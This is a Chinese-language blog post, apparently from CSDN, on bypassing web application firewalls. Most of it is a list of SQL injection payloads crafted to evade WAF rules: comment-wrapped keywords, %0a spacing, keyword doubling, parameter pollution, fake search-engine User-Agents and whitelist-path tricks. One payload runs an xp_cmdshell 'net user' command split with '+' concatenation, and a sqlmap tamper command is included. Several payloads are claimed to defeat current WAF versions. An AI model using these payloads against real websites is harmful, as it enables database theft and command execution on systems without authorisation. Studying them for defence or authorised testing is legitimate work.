waf如何绕过

目录

1.什么是waf

2.waf的主要功能

3.waf检测方法

4.waf的绕过

1.waf身份认证阶段绕过

2.waf数据包解析阶段的绕过

3.waf触发规则绕过

5.思维导图


1.什么是waf

网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。

常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

2.waf的主要功能

网站木马防御及查杀

流量监控

网站漏洞防御功能

危险组件防护功能

.net安全保护模块

双层防盗链链接模式

网站特定资源防下载

cc攻击防护

网站流量保护

ip黑白名单

3.waf检测方法

4.waf的绕过

看上面思维逻辑图,一步一步理解

1.waf身份认证阶段绕过

waf有一个白名单,在白名单内的请求将不做检测

方法一:伪造搜索引擎

老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,User-Agent的值网上随便搜,一大堆,单个修改抓包直接改,批量修改如下图

方法二:伪造白名单特殊目录

    360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

比如:www.xxx.com/pen/news.php?id=1 union select user,password from mysql.user

可以改为:

www.xxx.com/pen/news.php/admin?id=1 union select user,password from mysql.user

原理:后面的目录找不到就不解析,解析能找到的

或者

www.xxx.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user

方法三:直接攻击源站

   这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,这个我也没有找到太好的例子,就不多做说明了。

2.waf数据包解析阶段的绕过

方法一:编码绕过(现在不好用)

对攻击的代码进行编码处理,早期可以绕过,现在基本不行了

方法二:修改请求方式

    我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

方法三:复参数绕过

简单来说就是将一个请求得参数分开给变量多次赋值

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

3.waf触发规则绕过

方法一:特殊字符替换空格

用特殊字符去替代空格或换行,替换得值实际也是没有意义的

比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

方法二:特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可以改为GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

原理:传输过程中,代码命令分开传输,在后端进行解析后,通过+号又将命令拼接。形成完整命令

方法三:注释包含关键字

在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。

如: GET /pen/news.php?id=1 union select user,password from mysql.user

可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user

方法四:使用大小写

这个不用多说吧,把自己的命令大小写组合,

方法五:关键字替换

例如http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

方法六:编码与注释结合

http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5

也可以这样

http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:

sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1(脚本一找一大堆)

方法七:利用waf本身的功能绕过

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

‍‍‍httdsp://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4)

方法八:使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

@@version 替换 version()

concat() 替换concat_ws()

group_concat() 替换 concat_ws()

= 替换like

方法九:组合过waf(前面方法组合自己想)

5.思维导图

最后附上思维导图

  • 12
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值